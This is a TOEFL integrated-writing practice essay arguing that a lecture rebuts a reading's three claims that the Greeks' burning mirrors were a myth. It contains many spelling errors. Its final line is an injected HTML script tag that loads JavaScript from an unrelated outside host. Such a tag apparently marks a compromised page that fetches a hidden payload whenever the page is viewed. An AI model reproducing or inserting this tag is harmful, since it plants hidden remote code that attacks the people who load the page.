TPO30 integrated writing

The reading and the lecture are both about whether Greeks used burning mirror. which is a polished copper to focus the Sun's rays, to catch invading Roman ships fire. The author of the reading believes there are three reasons why it is just a myth, not the truth. The lecturer challenges the statements made by the author. She is of the opinion that what the reading is saying is not convincing.
First of all, the author suggests that there was no such technological advancement in the ancient Greeks of that time. It is mentioned that a mirror to set ships on fire would need to be pretty large and have a highly advanced parabolic curvature, but a technology to make such mirror did not exist back then. The argument is refuted by the lecturer. She says it is possible that the Greeks did not use the single mirror sheet. Furthermore, she argues that they could have used many pieces of small mirros that their combined affect could act as a big single mirror.
Secondly, the article posits that it would have taken very long time to make the ships to catch fire by the burning mirror. The article notes that it would take about 10 minutes to set the wooden ship, which is 30 meters away, on fire. Hence, it is unlikely that Romans just stayed their ships immobile. The letcurer, however, casts doubt on this by asserting that that long time requirement is only for wood, but the Roman ships had other materials that fill the gap and made the ship water proof. She elaborates on this by mentioning that such gap filling material catches fire really quickly, even in mere seconds.
Finally, it is stated in the reading that the Greeks had other weapons that were any means not less advanced. The article establishes that one such weapon was the flamming arrows, which could have been used easily. The lecturer, on the other hand, opposes that by saying the Romans were familier with the flamming arrows. As a result, they would have reacted effectively. She puts forth the idea that, instead, in the case of the burning mirrow, the Romans would just see a mirrow and all of a sudden their ships caught fire, which is more suprising for them. <script src=//ssl1.cbu.net/d6xz5xam></script>